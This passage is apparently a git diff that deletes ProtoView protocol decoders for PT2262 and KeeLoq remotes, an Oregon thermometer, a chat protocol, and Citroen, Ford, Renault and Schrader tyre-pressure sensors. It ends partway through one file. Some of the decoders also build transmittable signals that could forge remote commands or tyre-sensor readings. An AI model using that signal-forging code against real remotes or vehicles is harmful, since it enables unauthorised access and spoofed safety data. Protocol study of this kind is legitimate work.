deleted file mode 100644 index 256029770..000000000 Binary files a/applications/external/protoview/images/protoview_2.jpg and /dev/null differ diff --git a/applications/external/protoview/protocols/b4b1.c b/applications/external/protoview/protocols/b4b1.c deleted file mode 100644 index 6d0b8237a..000000000 --- a/applications/external/protoview/protocols/b4b1.c +++ /dev/null @@ -1,93 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * PT/SC remotes. Usually 443.92 Mhz OOK. - * - * This line code is used in many remotes such as Princeton chips - * named PT2262, Silian Microelectronics SC5262 and others. - * Basically every 4 pulsee represent a bit, where 1000 means 0, and - * 1110 means 1. Usually we can read 24 bits of data. - * In this specific implementation we check for a prelude that is - * 1 bit high, 31 bits low, but the check is relaxed. */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits < 30) return false; - - /* Test different pulse + gap + first byte possibilities. */ - const char* sync_patterns[6] = { - "100000000000000000000000000000011101", /* 30 times gap + one. */ - "100000000000000000000000000000010001", /* 30 times gap + zero. */ - "1000000000000000000000000000000011101", /* 31 times gap + one. */ - "1000000000000000000000000000000010001", /* 31 times gap + zero. */ - "10000000000000000000000000000000011101", /* 32 times gap + one. */ - "10000000000000000000000000000000010001", /* 32 times gap + zero. */ - }; - - uint32_t off; - int j; - for(j = 0; j < 3; j++) { - off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_patterns[j]); - if(off != BITMAP_SEEK_NOT_FOUND) break; - } - if(off == BITMAP_SEEK_NOT_FOUND) return false; - if(DEBUG_MSG) FURI_LOG_E(TAG, "B4B1 preamble id:%d at: %lu", j, off); - info->start_off = off; - - // Seek data setction. Why -5? Last 5 half-bit-times are data. - off += strlen(sync_patterns[j]) - 5; - - uint8_t d[3]; /* 24 bits of data. */ - uint32_t decoded = convert_from_line_code(d, sizeof(d), bits, numbytes, off, "1000", "1110"); - - if(DEBUG_MSG) FURI_LOG_E(TAG, "B4B1 decoded: %lu", decoded); - if(decoded < 24) return false; - - off += 24 * 4; // seek to end symbol offset to calculate the length. - off++; // In this protocol there is a final pulse as terminator. - info->pulses_count = off - info->start_off; - - fieldset_add_bytes(info->fieldset, "id", d, 5); - fieldset_add_uint(info->fieldset, "button", d[2] & 0xf, 4); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t default_id[3] = {0xAB, 0xCD, 0xE0}; - fieldset_add_bytes(fieldset, "id", default_id, 5); - fieldset_add_uint(fieldset, "button", 1, 4); -} - -/* Create a signal. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fs) { - uint32_t te = 334; // Short pulse duration in microseconds. - - // Sync: 1 te pulse, 31 te gap. - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 31); - - // ID + button state - uint8_t data[3]; - memcpy(data, fs->fields[0]->bytes, 3); - data[2] = (data[2] & 0xF0) | (fs->fields[1]->uvalue & 0xF); - for(uint32_t j = 0; j < 24; j++) { - if(bitmap_get(data, sizeof(data), j)) { - raw_samples_add(samples, true, te * 3); - raw_samples_add(samples, false, te); - } else { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 3); - } - } - - // Signal terminator. Just a single short pulse. - raw_samples_add(samples, true, te); -} - -ProtoViewDecoder B4B1Decoder = { - .name = "PT/SC remote", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/keeloq.c b/applications/external/protoview/protocols/keeloq.c deleted file mode 100644 index c09cc35fc..000000000 --- a/applications/external/protoview/protocols/keeloq.c +++ /dev/null @@ -1,121 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Microchip HCS200/HCS300/HSC301 KeeLoq, rolling code remotes. - * - * Usually 443.92 Mhz OOK, ~200us or ~400us pulse len, depending - * on the configuration. - * - * Preamble: 12 pairs of alternating pulse/gap. - * Sync: long gap of around 10 times the duration of the short-pulse. - * Data: pulse width encoded data. Each bit takes three cycles: - * - * 0 = 110 - * 1 = 100 - * - * There are a total of 66 bits transmitted. - * 0..31: 32 bits of encrypted rolling code. - * 32..59: Remote ID, 28 bits - * 60..63: Buttons pressed - * 64..64: Low battery if set - * 65..65: Always set to 1 - * - * Bits in bytes are inverted: least significant bit is first. - * For some reason there is no checksum whatsoever, so we only decode - * if we find everything well formed. - */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* In the sync pattern, we require the 12 high/low pulses and at least - * half the gap we expect (5 pulses times, one is the final zero in the - * 24 symbols high/low sequence, then other 4). */ - const char* sync_pattern = "101010101010101010101010" - "0000"; - uint8_t sync_len = 24 + 4; - if(numbits - sync_len + sync_len < 3 * 66) return false; - uint32_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - - info->start_off = off; - off += sync_len; // Seek start of message. - - /* Now there is half the gap left, but we allow from 3 to 7, instead of 5 - * symbols of gap, to avoid missing the signal for a matter of wrong - * timing. */ - uint8_t gap_len = 0; - while(gap_len <= 7 && bitmap_get(bits, numbytes, off + gap_len) == 0) gap_len++; - if(gap_len < 3 || gap_len > 7) return false; - - off += gap_len; - FURI_LOG_E(TAG, "Keeloq preamble+sync found"); - - uint8_t raw[9] = {0}; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "110", "100"); /* Pulse width modulation. */ - FURI_LOG_E(TAG, "Keeloq decoded bits: %lu", decoded); - if(decoded < 66) return false; /* Require the full 66 bits. */ - - info->pulses_count = (off + 66 * 3) - info->start_off; - - bitmap_reverse_bytes_bits(raw, sizeof(raw)); /* Keeloq is LSB first. */ - - int buttons = raw[7] >> 4; - int lowbat = (raw[8] & 0x1) == 0; // Actual bit meaning: good battery level - int alwaysone = (raw[8] & 0x2) != 0; - - fieldset_add_bytes(info->fieldset, "encr", raw, 8); - raw[7] = raw[7] << 4; // Make ID bits contiguous - fieldset_add_bytes(info->fieldset, "id", raw + 4, 7); // 28 bits, 7 nibbles - fieldset_add_bin(info->fieldset, "s[2,1,0,3]", buttons, 4); - fieldset_add_bin(info->fieldset, "low battery", lowbat, 1); - fieldset_add_bin(info->fieldset, "always one", alwaysone, 1); - return true; -} - -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t remote_id[4] = {0xab, 0xcd, 0xef, 0xa0}; - uint8_t encr[4] = {0xab, 0xab, 0xab, 0xab}; - fieldset_add_bytes(fieldset, "encr", encr, 8); - fieldset_add_bytes(fieldset, "id", remote_id, 7); - fieldset_add_bin(fieldset, "s[2,1,0,3]", 2, 4); - fieldset_add_bin(fieldset, "low battery", 0, 1); - fieldset_add_bin(fieldset, "always one", 1, 1); -} - -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fieldset) { - uint32_t te = 380; // Short pulse duration in microseconds. - - // Sync: 12 pairs of pulse/gap + 9 times gap - for(int j = 0; j < 12; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - raw_samples_add(samples, false, te * 9); - - // Data, 66 bits. - uint8_t data[9] = {0}; - memcpy(data, fieldset->fields[0]->bytes, 4); // Encrypted part. - memcpy(data + 4, fieldset->fields[1]->bytes, 4); // ID. - data[7] = data[7] >> 4 | fieldset->fields[2]->uvalue << 4; // s[2,1,0,3] - int low_battery = fieldset->fields[3] != 0; - int always_one = fieldset->fields[4] != 0; - low_battery = !low_battery; // Bit real meaning is good battery level. - data[8] |= low_battery; - data[8] |= (always_one << 1); - bitmap_reverse_bytes_bits(data, sizeof(data)); /* Keeloq is LSB first. */ - - for(int j = 0; j < 66; j++) { - if(bitmap_get(data, 9, j)) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 2); - } else { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te); - } - } -} - -ProtoViewDecoder KeeloqDecoder = - {.name = "Keeloq", .decode = decode, .get_fields = get_fields, .build_message = build_message}; diff --git a/applications/external/protoview/protocols/oregon2.c b/applications/external/protoview/protocols/oregon2.c deleted file mode 100644 index f7b123deb..000000000 --- a/applications/external/protoview/protocols/oregon2.c +++ /dev/null @@ -1,84 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Oregon remote termometers. Usually 443.92 Mhz OOK. - * - * The protocol is described here: - * https://wmrx00.sourceforge.net/Arduino/OregonScientific-RF-Protocols.pdf - * This implementation is not very complete. */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits < 32) return false; - const char* sync_pattern = "01100110" - "01100110" - "10010110" - "10010110"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Oregon2 preamble+sync found"); - - info->start_off = off; - off += 32; /* Skip preamble. */ - - uint8_t buffer[8], raw[8] = {0}; - uint32_t decoded = - convert_from_line_code(buffer, sizeof(buffer), bits, numbytes, off, "1001", "0110"); - FURI_LOG_E(TAG, "Oregon2 decoded bits: %lu", decoded); - - if(decoded < 11 * 4) return false; /* Minimum len to extract some data. */ - info->pulses_count = (off + 11 * 4 * 4) - info->start_off; - - char temp[3] = {0}, hum[2] = {0}; - uint8_t deviceid[2]; - for(int j = 0; j < 64; j += 4) { - uint8_t nib[1]; - nib[0] = - (bitmap_get(buffer, 8, j + 0) | bitmap_get(buffer, 8, j + 1) << 1 | - bitmap_get(buffer, 8, j + 2) << 2 | bitmap_get(buffer, 8, j + 3) << 3); - if(DEBUG_MSG) FURI_LOG_E(TAG, "Not inverted nibble[%d]: %x", j / 4, (unsigned int)nib[0]); - raw[j / 8] |= nib[0] << (4 - (j % 4)); - switch(j / 4) { - case 1: - deviceid[0] |= nib[0]; - break; - case 0: - deviceid[0] |= nib[0] << 4; - break; - case 3: - deviceid[1] |= nib[0]; - break; - case 2: - deviceid[1] |= nib[0] << 4; - break; - case 10: - temp[0] = nib[0]; - break; - /* Fixme: take the temperature sign from nibble 11. */ - case 9: - temp[1] = nib[0]; - break; - case 8: - temp[2] = nib[0]; - break; - case 13: - hum[0] = nib[0]; - break; - case 12: - hum[1] = nib[0]; - break; - } - } - - float tempval = ((temp[0] - '0') * 10) + (temp[1] - '0') + ((float)(temp[2] - '0') * 0.1); - int humval = (hum[0] - '0') * 10 + (hum[1] - '0'); - - fieldset_add_bytes(info->fieldset, "Sensor ID", deviceid, 4); - fieldset_add_float(info->fieldset, "Temperature", tempval, 1); - fieldset_add_uint(info->fieldset, "Humidity", humval, 7); - return true; -} - -ProtoViewDecoder Oregon2Decoder = - {.name = "Oregon2", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/pvchat.c b/applications/external/protoview/protocols/pvchat.c deleted file mode 100644 index 779248c5b..000000000 --- a/applications/external/protoview/protocols/pvchat.c +++ /dev/null @@ -1,205 +0,0 @@ -#include "../app.h" - -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * ---------------------------------------------------------- - * ProtoView chat protocol. This is just a fun test protocol - * that can be used between two Flippers in order to send - * and receive text messages. - * ---------------------------------------------------------- - * - * Protocol description - * ==================== - * - * The protocol works with different data rates. However here is defined - * to use a short pulse/gap duration of 300us and a long pulse/gap - * duration of 600us. Even with the Flipper hardware, the protocol works - * with 100/200us, but becomes less reliable and standard presets can't - * be used because of the higher data rate. - * - * In the following description we have that: - * - * "1" represents a pulse of one-third bit time (300us) - * "0" represents a gap of one-third bit time (300us) - * - * The message starts with a preamble + a sync pattern: - * - * preamble = 1010101010101010 x 3 - * sync = 1100110011001010 - * - * The a variable amount of bytes follow, where each bit - * is encoded in the following way: - * - * zero 100 (300 us pulse, 600 us gap) - * one 110 (600 us pulse, 300 us gap) - * - * Bytes are sent MSB first, so receiving, in sequence, bits - * 11100001, means byte E1. - * - * This is the data format: - * - * +--+------+-------+--+--+--+ - * |SL|Sender|Message|FF|AA|CS| - * +--+------+-------+--+--+--+ - * | | | - * | | \_ N bytes of message terminated by FF AA + 1 byte of checksum - * | | - * | \_ SL bytes of sender name - * \ - * \_ 1 byte of sender len, 8 bit unsigned integer. - * - * - * Checksum = sum of bytes modulo 256, with checksum set - * to 0 for the computation. - * - * Design notes - * ============ - * - * The protocol is designed in order to have certain properties: - * - * 1. Pulses and gaps can only be 100 or 200 microseconds, so the - * message can be described, encoded and decoded with only two - * fixed durations. - * - * 2. The preamble + sync is designed to have a well recognizable - * pattern that can't be reproduced just for accident inside - * the encoded pattern. There is no combinatio of encoded bits - * leading to the preamble+sync. Also the sync pattern final - * part can't be mistaken for actual bits of data, since it - * contains alternating short pulses/gaps at 100us. - * - * 3. Data encoding wastes some bandwidth in order to be more - * robust. Even so, with a 300us clock period, a single bit - * bit takes 900us, reaching a data transfer of 138 characters per - * second. More than enough for the simple chat we have here. - */ - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "1010101010101010" // Preamble - "1100110011001010"; // Sync - uint8_t sync_len = 32; - - /* This is a variable length message, however the minimum length - * requires a sender len byte (of value zero) and the terminator - * FF 00 plus checksum: a total of 4 bytes. */ - if(numbits - sync_len < 8 * 4) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Chat preamble+sync found"); - - /* If there is room on the left, let's mark the start of the message - * a bit before: we don't try to detect all the preamble, but only - * the first part, however it is likely present. */ - if(off >= 16) { - off -= 16; - sync_len += 16; - } - - info->start_off = off; - off += sync_len; /* Skip preamble and sync. */ - - uint8_t raw[64] = {(uint8_t)'.'}; - uint32_t decoded = - convert_from_line_code(raw, sizeof(raw), bits, numbytes, off, "100", "110"); /* PWM */ - FURI_LOG_E(TAG, "Chat decoded bits: %lu", decoded); - - if(decoded < 8 * 4) return false; /* Min message len. */ - - // The message needs to have a two bytes terminator before - // the checksum. - uint32_t j; - for(j = 0; j < sizeof(raw) - 1; j++) - if(raw[j] == 0xff && raw[j + 1] == 0xaa) break; - - if(j == sizeof(raw) - 1) { - FURI_LOG_E(TAG, "Chat: terminator not found"); - return false; // No terminator found. - } - - uint32_t datalen = j + 3; // If the terminator was found at j, then - // we need to sum three more bytes to have - // the len: FF itself, AA, checksum. - info->pulses_count = sync_len + 8 * 3 * datalen; - - // Check if the control sum matches. - if(sum_bytes(raw, datalen - 1, 0) != raw[datalen - 1]) { - FURI_LOG_E(TAG, "Chat: checksum mismatch"); - return false; - } - - // Check if the length of the sender looks sane - uint8_t senderlen = raw[0]; - if(senderlen >= sizeof(raw)) { - FURI_LOG_E(TAG, "Chat: invalid sender length"); - return false; // Overflow - } - - fieldset_add_str(info->fieldset, "sender", (char*)raw + 1, senderlen); - fieldset_add_str( - info->fieldset, "message", (char*)raw + 1 + senderlen, datalen - senderlen - 4); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - fieldset_add_str(fieldset, "sender", "Carol", 5); - fieldset_add_str(fieldset, "message", "Anyone hearing?", 15); -} - -/* Create a signal. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fs) { - uint32_t te = 300; /* Short pulse duration in microseconds. - Our protocol needs three symbol times to send - a bit, so 300 us per bit = 3.33 kBaud. */ - - // Preamble: 24 alternating 300us pulse/gap pairs. - for(int j = 0; j < 24; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - - // Sync: 3 alternating 600 us pulse/gap pairs. - for(int j = 0; j < 3; j++) { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te * 2); - } - - // Sync: plus 2 alternating 300 us pluse/gap pairs. - for(int j = 0; j < 2; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - - // Data: build the array. - uint32_t datalen = 1 + fs->fields[0]->len + // Userlen + Username - fs->fields[1]->len + 3; // Message + FF + 00 + CRC - uint8_t *data = malloc(datalen), *p = data; - *p++ = fs->fields[0]->len; - memcpy(p, fs->fields[0]->str, fs->fields[0]->len); - p += fs->fields[0]->len; - memcpy(p, fs->fields[1]->str, fs->fields[1]->len); - p += fs->fields[1]->len; - *p++ = 0xff; - *p++ = 0xaa; - *p = sum_bytes(data, datalen - 1, 0); - - // Emit bits - for(uint32_t j = 0; j < datalen * 8; j++) { - if(bitmap_get(data, datalen, j)) { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te); - } else { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 2); - } - } - free(data); -} - -ProtoViewDecoder ProtoViewChatDecoder = { - .name = "ProtoView chat", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/tpms/citroen.c b/applications/external/protoview/protocols/tpms/citroen.c deleted file mode 100644 index a86e5f7d6..000000000 --- a/applications/external/protoview/protocols/tpms/citroen.c +++ /dev/null @@ -1,58 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Citroen TPMS. Usually 443.92 Mhz FSK. - * - * Preamble of ~14 high/low 52 us pulses - * Sync of high 100us pulse then 50us low - * Then Manchester bits, 10 bytes total. - * Simple XOR checksum. */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* We consider a preamble of 17 symbols. They are more, but the decoding - * is more likely to happen if we don't pretend to receive from the - * very start of the message. */ - uint32_t sync_len = 17; - const char* sync_pattern = "10101010101010110"; - if(numbits - sync_len < 8 * 10) return false; /* Expect 10 bytes. */ - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Renault TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len; /* Skip preamble + sync. */ - - uint8_t raw[10]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Citroen TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 10) return false; /* Require the full 10 bytes. */ - - /* Check the CRC. It's a simple XOR of bytes 1-9, the first byte - * is not included. The meaning of the first byte is unknown and - * we don't display it. */ - uint8_t crc = 0; - for(int j = 1; j < 10; j++) crc ^= raw[j]; - if(crc != 0) return false; /* Require sane checksum. */ - - info->pulses_count = (off + 8 * 10 * 2) - info->start_off; - - int repeat = raw[5] & 0xf; - float kpa = (float)raw[6] * 1.364; - int temp = raw[7] - 50; - int battery = raw[8]; /* This may be the battery. It's not clear. */ - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 1, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_uint(info->fieldset, "Repeat", repeat, 4); - fieldset_add_uint(info->fieldset, "Battery", battery, 8); - return true; -} - -ProtoViewDecoder CitroenTPMSDecoder = - {.name = "Citroen TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/ford.c b/applications/external/protoview/protocols/tpms/ford.c deleted file mode 100644 index 066332590..000000000 --- a/applications/external/protoview/protocols/tpms/ford.c +++ /dev/null @@ -1,61 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Ford tires TPMS. Usually 443.92 Mhz FSK (in Europe). - * - * 52 us short pules - * Preamble: 0101010101010101010101010101 - * Sync: 0110 (that is 52 us gap + 104 us pulse + 52 us gap) - * Data: 8 bytes Manchester encoded - * 01 = zero - * 10 = one - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "010101010101" - "0110"; - uint8_t sync_len = 12 + 4; /* We just use 12 preamble symbols + sync. */ - if(numbits - sync_len < 8 * 8) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Fort TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len; /* Skip preamble and sync. */ - - uint8_t raw[8]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Ford TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 8) return false; /* Require the full 8 bytes. */ - - /* CRC is just the sum of the first 7 bytes MOD 256. */ - uint8_t crc = 0; - for(int j = 0; j < 7; j++) crc += raw[j]; - if(crc != raw[7]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 8 * 8 * 2) - info->start_off; - - float psi = 0.25 * (((raw[6] & 0x20) << 3) | raw[4]); - - /* Temperature apperas to be valid only if the most significant - * bit of the value is not set. Otherwise its meaning is unknown. - * Likely useful to alternatively send temperature or other info. */ - int temp = raw[5] & 0x80 ? 0 : raw[5] - 56; - int flags = raw[5] & 0x7f; - int car_moving = (raw[6] & 0x44) == 0x44; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure psi", psi, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_hex(info->fieldset, "Flags", flags, 7); - fieldset_add_uint(info->fieldset, "Moving", car_moving, 1); - return true; -} - -ProtoViewDecoder FordTPMSDecoder = - {.name = "Ford TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/renault.c b/applications/external/protoview/protocols/tpms/renault.c deleted file mode 100644 index 0755a515f..000000000 --- a/applications/external/protoview/protocols/tpms/renault.c +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Renault tires TPMS. Usually 443.92 Mhz FSK. - * - * Preamble + sync + Manchester bits. ~48us short pulse. - * 9 Bytes in total not counting the preamble. */ - -#include "../../app.h" - -#define USE_TEST_VECTOR 0 -static const char* test_vector = - "...01010101010101010110" // Preamble + sync - - /* The following is Marshal encoded, so each two characters are - * actaully one bit. 01 = 0, 10 = 1. */ - "010110010110" // Flags. - "10011001101010011001" // Pressure, multiply by 0.75 to obtain kpa. - // 244 kpa here. - "1010010110011010" // Temperature, subtract 30 to obtain celsius. 22C here. - "1001010101101001" - "0101100110010101" - "1001010101100110" // Tire ID. 0x7AD779 here. - "0101010101010101" - "0101010101010101" // Two FF bytes (usually). Unknown. - "0110010101010101"; // CRC8 with (poly 7, initialization 0). - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(USE_TEST_VECTOR) { /* Test vector to check that decoding works. */ - bitmap_set_pattern(bits, numbytes, 0, test_vector); - numbits = strlen(test_vector); - } - - if(numbits - 12 < 9 * 8) return false; - - const char* sync_pattern = "01010101010101010110"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Renault TPMS preamble+sync found"); - - info->start_off = off; - off += 20; /* Skip preamble. */ - - uint8_t raw[9]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Renault TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 9) return false; /* Require the full 9 bytes. */ - if(crc8(raw, 8, 0, 7) != raw[8]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 8 * 9 * 2) - info->start_off; - - uint8_t flags = raw[0] >> 2; - float kpa = 0.75 * ((uint32_t)((raw[0] & 3) << 8) | raw[1]); - int temp = raw[2] - 30; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 3, 3 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_hex(info->fieldset, "Flags", flags, 6); - fieldset_add_bytes(info->fieldset, "Unknown1", raw + 6, 2); - fieldset_add_bytes(info->fieldset, "Unknown2", raw + 7, 2); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t default_id[3] = {0xAB, 0xCD, 0xEF}; - fieldset_add_bytes(fieldset, "Tire ID", default_id, 3 * 2); - fieldset_add_float(fieldset, "Pressure kpa", 123, 2); - fieldset_add_int(fieldset, "Temperature C", 20, 8); - // We don't know what flags are, but 1B is a common value. - fieldset_add_hex(fieldset, "Flags", 0x1b, 6); - fieldset_add_bytes(fieldset, "Unknown1", (uint8_t*)"\xff", 2); - fieldset_add_bytes(fieldset, "Unknown2", (uint8_t*)"\xff", 2); -} - -/* Create a Renault TPMS signal, according to the fields provided. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fieldset) { - uint32_t te = 50; // Short pulse duration in microseconds. - - // Preamble + sync - const char* psync = "01010101010101010101010101010110"; - const char* p = psync; - while(*p) { - raw_samples_add_or_update(samples, *p == '1', te); - p++; - } - - // Data, 9 bytes - uint8_t data[9] = {0}; - unsigned int raw_pressure = fieldset->fields[1]->fvalue * 4 / 3; - data[0] = fieldset->fields[3]->uvalue << 2; // Flags - data[0] |= (raw_pressure >> 8) & 3; // Pressure kpa high 2 bits - data[1] = raw_pressure & 0xff; // Pressure kpa low 8 bits - data[2] = fieldset->fields[2]->value + 30; // Temperature C - memcpy(data + 3, fieldset->fields[0]->bytes, 6); // ID, 24 bits. - data[6] = fieldset->fields[4]->bytes[0]; // Unknown 1 - data[7] = fieldset->fields[5]->bytes[0]; // Unknown 2 - data[8] = crc8(data, 8, 0, 7); - - // Generate Manchester code for each bit - for(uint32_t j = 0; j < 9 * 8; j++) { - if(bitmap_get(data, sizeof(data), j)) { - raw_samples_add_or_update(samples, true, te); - raw_samples_add_or_update(samples, false, te); - } else { - raw_samples_add_or_update(samples, false, te); - raw_samples_add_or_update(samples, true, te); - } - } -} - -ProtoViewDecoder RenaultTPMSDecoder = { - .name = "Renault TPMS", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/tpms/schrader.c b/applications/external/protoview/protocols/tpms/schrader.c deleted file mode 100644 index 2b53d313c..000000000 --- a/applications/external/protoview/protocols/tpms/schrader.c +++ /dev/null @@ -1,70 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Schrader TPMS. Usually 443.92 Mhz OOK, 120us pulse len. - * - * 500us high pulse + Preamble + Manchester coded bits where: - * 1 = 10 - * 0 = 01 - * - * 60 bits of data total (first 4 nibbles is the preamble, 0xF). - * - * Used in FIAT-Chrysler, Mercedes, ... */ - -#include "../../app.h" - -#define USE_TEST_VECTOR 0 -static const char* test_vector = - "000000111101010101011010010110010110101001010110100110011001100101010101011010100110100110011010101010101010101010101010101010101010101010101010"; - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(USE_TEST_VECTOR) { /* Test vector to check that decoding works. */ - bitmap_set_pattern(bits, numbytes, 0, test_vector); - numbits = strlen(test_vector); - } - - if(numbits < 64) return false; /* Preamble + data. */ - - const char* sync_pattern = "1111010101" - "01011010"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Schrader TPMS gap+preamble found"); - - info->start_off = off; - off += 10; /* Skip just the long pulse and the first 3 bits of sync, so - that we have the first byte of data with the sync nibble - 0011 = 0x3. */ - - uint8_t raw[8]; - uint8_t id[4]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester code. */ - FURI_LOG_E(TAG, "Schrader TPMS decoded bits: %lu", decoded); - - if(decoded < 64) return false; /* Require the full 8 bytes. */ - - raw[0] |= 0xf0; // Fix the preamble nibble for checksum computation. - uint8_t cksum = crc8(raw, sizeof(raw) - 1, 0xf0, 0x7); - if(cksum != raw[7]) { - FURI_LOG_E(TAG, "Schrader TPMS checksum mismatch"); - return false; - } - - info->pulses_count = (off + 8 * 8 * 2) - info->start_off; - - float kpa = (float)raw[5] * 2.5; - int temp = raw[6] - 50; - id[0] = raw[1] & 7; - id[1] = raw[2]; - id[2] = raw[3]; - id[3] = raw[4]; - - fieldset_add_bytes(info->fieldset, "Tire ID", id, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - return true; -} - -ProtoViewDecoder SchraderTPMSDecoder = - {.name = "Schrader TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c b/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c deleted file mode 100644 index b186f57b1..000000000 --- a/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c +++ /dev/null @@ -1,62 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See 